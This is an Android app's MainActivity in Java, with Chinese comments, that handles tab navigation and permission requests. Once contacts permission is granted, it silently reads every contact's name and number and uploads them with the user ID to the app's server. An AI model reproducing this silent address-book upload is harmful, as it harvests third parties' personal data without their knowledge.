package com.work.lxykeeper.module.main;


import android.Manifest;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.support.annotation.NonNull;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.text.TextUtils;
import android.view.KeyEvent;
import android.view.View;
import android.widget.FrameLayout;
import android.widget.PopupWindow;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.RadioGroup.OnCheckedChangeListener;

import com.work.lxykeeper.R;
import com.work.lxykeeper.adapter.MainPagerAdapter;
import com.work.lxykeeper.base.BaseActivity;
import com.work.lxykeeper.base.BaseFragment;
import com.work.lxykeeper.bean.CommonBean;
import com.work.lxykeeper.bean.UserBeanPost;
import com.work.lxykeeper.cache.Ckey;
import com.work.lxykeeper.cache.SPutils;
import com.work.lxykeeper.databinding.ActivityMainBinding;
import com.work.lxykeeper.httpretrofit.MyCallback;
import com.work.lxykeeper.httpretrofit.PostBody;
import com.work.lxykeeper.httpretrofit.RetrofitManager;
import com.work.lxykeeper.module.fragment.GWCFragment;
import com.work.lxykeeper.utils.JsonUtils;
import com.work.lxykeeper.utils.LogUtils;
import com.work.lxykeeper.utils.PermissionUtil;
import com.work.lxykeeper.utils.UIUtils;
import com.work.lxykeeper.view.FlipPopupWindow;

import java.util.ArrayList;
import java.util.List;

import retrofit2.Call;


/**
 * @author WZ 2016/12/3
 */
public class MainActivity extends BaseActivity {
    private static final int CAMERA_PERMISSIONS_REQUEST = 001001;
    private static Context context;
    private RadioGroup main_radio;
    private FrameLayout content;
    private int index = 0;
    private MainPagerAdapter mMainPagerdapter;
    public static RadioButton rb_main_HomePage;
    private long exitTime = 0;
    private GWCFragment gwcFragment;
    private int phonenumber = 188888888;


    /* 联系人请求码 */
    private static final int REQUEST_CONTACTS = 112;
    /* 联系人相机权限 */
    private static final int REQUEST_CAMERACONTACTS = 110;
    /* 请求读取联系人权限 */
    private static String[] PERMISSIONS_CONTACT = {Manifest.permission.READ_CONTACTS,
            Manifest.permission.WRITE_CONTACTS};
    //内容提供者
    private ContentResolver cr;
    private List<UserBeanPost.UContactBean> datalistView;
    private List<UserBeanPost.UContactBean> datalistViewAll=new ArrayList<>();
    private PermissionUtil permissionUtil;
    private ActivityMainBinding binding;


    @Override
    public void initView() {
        context = this;
        main_radio = (RadioGroup) findViewById(R.id.rg_main_radio);
        content = (FrameLayout) findViewById(R.id.fl_main_container);
        rb_main_HomePage = (RadioButton) findViewById(R.id.rb_main_HomePage);
        mMainPagerdapter = new MainPagerAdapter(getSupportFragmentManager());
        switchFragment(index);
        radioCheckedChange();
    }

    @Override
    protected void initData() {
        // 默认显示首页
        if (index == 0) {
            rb_main_HomePage.setChecked(true);
        }
        mTitleBar.titleBack.setVisibility(View.GONE);
        autoObtainCameraPermission();
        permissionUtil = new PermissionUtil(this);
        permissionUtil.requestAudioPermission(REQUEST_CAMERACONTACTS);
        //获取联系人信息
        if (permissionUtil.requestContactPermission(REQUEST_CONTACTS)) {
            getAppPhoneUsers();
        }

//        showContacts();
    }

    /**
     * 自动获取相机权限
     */
    private void autoObtainCameraPermission() {
        if (ContextCompat.checkSelfPermission(getContext(), Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(getContext(), Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(getContext(), Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED
                || ContextCompat.checkSelfPermission(getContext(), Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {

            if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.CAMERA)) {
                UIUtils.showToast("您已经拒绝过一次");
            }
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.RECORD_AUDIO}, CAMERA_PERMISSIONS_REQUEST);
        }
    }

    @Override
    protected View getLayoutView() {
        binding= ActivityMainBinding.inflate(getLayoutInflater());
        return binding.getRoot();
    }

    private void radioCheckedChange() {

        main_radio.setOnCheckedChangeListener(new OnCheckedChangeListener() {

            public void onCheckedChanged(RadioGroup group, int checkedId) {
                switch (checkedId) {
                    //首页
                    case R.id.rb_main_HomePage:
                        index = 0;
                        mTitleBar.titleMiddle.setText(R.string.onefragment);
                        break;
                    //通讯录
                    case R.id.rb_main_fenlei:
                        index = 1;
                        mTitleBar.titleMiddle.setText(R.string.secondfragment);
                        break;
                    //社圈
                    case R.id.rb_main_gwc:
                        index = 2;
                        mTitleBar.titleMiddle.setText(R.string.thirdfragment);
                        break;
//                    //
//                    case R.id.rb_main_dingdan:
//                        index = 3;
//                        mTitleBar.titleMiddle.setText("我的订单");
//                        break;
                    //我的
                    case R.id.rb_main_mine:
                        index = 3;
                        mTitleBar.titleMiddle.setText(R.string.fivefragment);
                        break;
                }
                //显示碎片
                switchFragment(index);
            }

        });

    }

    /**
     * 显示碎片
     */
    private void switchFragment(int index) {
        BaseFragment fragment = (BaseFragment) mMainPagerdapter
                .instantiateItem(content, index);
        mMainPagerdapter.setPrimaryItem(null, 0, fragment);
        mMainPagerdapter.finishUpdate(null);
    }

    //模仿闲鱼弹出弹框
    private void shoFlipPopup() {
        FlipPopupWindow flipPopupwindow = new FlipPopupWindow(this, new FlipPopupWindow.OnPopWindowClickListener() {
            @Override
            public void onPopWindowClickListener(View view) {
                switch (view.getId()) {
                    case R.id.iv_push_photo:
                        UIUtils.showToast("相机");
                        break;
                    case R.id.iv_push_resale:
                        UIUtils.showToast("淘宝");
                        break;
                    default:
                        break;
                }
            }
        });
        flipPopupwindow.show();
        backgroundAlpha(0.3f);
        flipPopupwindow.setOnDismissListener(new PopupWindow.OnDismissListener() {
            @Override
            public void onDismiss() {
                backgroundAlpha(1.0f);
            }
        });
    }

    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if (keyCode == KeyEvent.KEYCODE_BACK && event.getRepeatCount() == 0) {
            exit();
            return false;
        }
        return super.onKeyDown(keyCode, event);
    }

    /***
     * 退出应用
     */
    public void exit() {
        if ((System.currentTimeMillis() - exitTime) > 2000) {
            UIUtils.showToast("再按一次退出应用");
            exitTime = System.currentTimeMillis();
        } else {
            exitApp();
        }
    }

    /**
     * 退出应用
     */
    public void exitApp() {
        finish();
    }

    public static Context getContext() {
        return context;
    }


    ///////////////////////////////读取联系人信息//////////////////////////
    // 判断权限是否拥有
    public void showContacts() {
        // 判断权限是否拥有
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS)
                != PackageManager.PERMISSION_GRANTED
                || ActivityCompat.checkSelfPermission(this, Manifest.permission.WRITE_CONTACTS)
                != PackageManager.PERMISSION_GRANTED) {
            LogUtils.d("读写联系人权限未被授予，需要申请！");
            // 读写联系人权限未被授予，需要申请！
            requestContactsPermissions();
        } else {
            // 权限已经被授予，显示细节页面！
            LogUtils.d("权限已经被授予！");
            //联系人权限申请成功
            getAppPhoneUsers();
        }
    }


    /**
     * 申请联系人读取权限
     */
    private void requestContactsPermissions() {
        if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                Manifest.permission.READ_CONTACTS)
                || ActivityCompat.shouldShowRequestPermissionRationale(this,
                Manifest.permission.WRITE_CONTACTS)) {
            // 如果是第二次申请，需要向用户说明为何使用此权限，会带出一个不再询问的复选框！
            LogUtils.d("如果是第二次申请，需要向用户说明为何使用此权限，会带出一个不再询问的复选框！");
            // 第一次申请此权限，直接申请 这里还暂且不提示
            ActivityCompat.requestPermissions(this, PERMISSIONS_CONTACT, REQUEST_CONTACTS);
        } else {
            // 第一次申请此权限，直接申请
            ActivityCompat.requestPermissions(this, PERMISSIONS_CONTACT, REQUEST_CONTACTS);
        }
    }


    //获取手机的联系人信息
    private void getAppPhoneUsers() {
        LogUtils.d("联系人信息获取成功");

        //得到访问者
        cr = getContentResolver();
        // 定义一个接收联系人姓名和电话号码的集合
        datalistView = new ArrayList<>();
        Uri uri = Uri.parse("content://com.android.contacts/raw_contacts");
        Cursor cursor = cr.query(uri, null, null, null, null);
        while (cursor.moveToNext()) {
            int id = cursor.getInt(cursor.getColumnIndex("_id"));
            Uri uriData = Uri.parse("content://com.android.contacts/raw_contacts/" + id + "/data");
            Cursor contactData = cr.query(uriData, null, null, null, null);
            //用来装姓名
            String aa = "";
            // 用来装号码
            String bb = "";
            while (contactData.moveToNext()) {
                String type = contactData.getString(contactData.getColumnIndex("mimetype"));
                //如果获取的是vnd.android.cursor.item/phone_v2则是号码
                if (type.equals("vnd.android.cursor.item/phone_v2")) {
                    bb = contactData.getString(contactData.getColumnIndex("data1"));
                    //如果获取的是vnd.android.cursor.item/name则是姓名
                } else if (type.equals("vnd.android.cursor.item/name")) {
                    aa = contactData.getString(contactData.getColumnIndex("data1"));
                }
            }
            for (int i = 0; i < 3; i++) {
                if (!TextUtils.isEmpty(aa) && !TextUtils.isEmpty(bb)) {
                    //将用户名和号码放入Map集合中
                    UserBeanPost.UContactBean uContactBean = new UserBeanPost.UContactBean();
//                  uContactBean.setU_c_mobile(bb);
                    uContactBean.setU_c_mobile(phonenumber + "");
                    uContactBean.setU_c_name(aa);
                    datalistView.add(uContactBean);
                }
            }

        }

        if (datalistView != null && datalistView.size() > 0) {
            UserBeanPost userBeanPost = new UserBeanPost();
            userBeanPost.setU_contact(datalistView);
            userBeanPost.setUid(SPutils.get(Ckey.UID));
            LogUtils.d("联系人个数;" + datalistView.size());
            //上传联系人信息
            upload(JsonUtils.parseBeantojson(userBeanPost));
        }

    }


    //上传信息
    private void upload(String json) {
        Call<CommonBean> call = RetrofitManager.getInstance().uploadAddressBook(PostBody.toBody(json));
        call.enqueue(new MyCallback<CommonBean>() {
            @Override
            public void onSuccess(CommonBean response) {
                LogUtils.d("信息已上传");
            }

            @Override
            public void onFailure(int errorCode, String errMsg) {
                UIUtils.showToast(errMsg);
            }

            @Override
            public void onComplete() {
                hideLoaddialog();
            }
        });

    }

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
                                           @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        LogUtils.d("权限回调了" + requestCode);

        switch (requestCode) {
            case 513:
            case REQUEST_CAMERACONTACTS:
                //获取联系人信息
                if (permissionUtil.requestContactPermission(REQUEST_CONTACTS)) {
                    getAppPhoneUsers();
                }
                break;
            case REQUEST_CONTACTS:
                //联系人权限申请成功
                if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                    getAppPhoneUsers();
                }
                break;
            default:
                break;
        }
    }

}
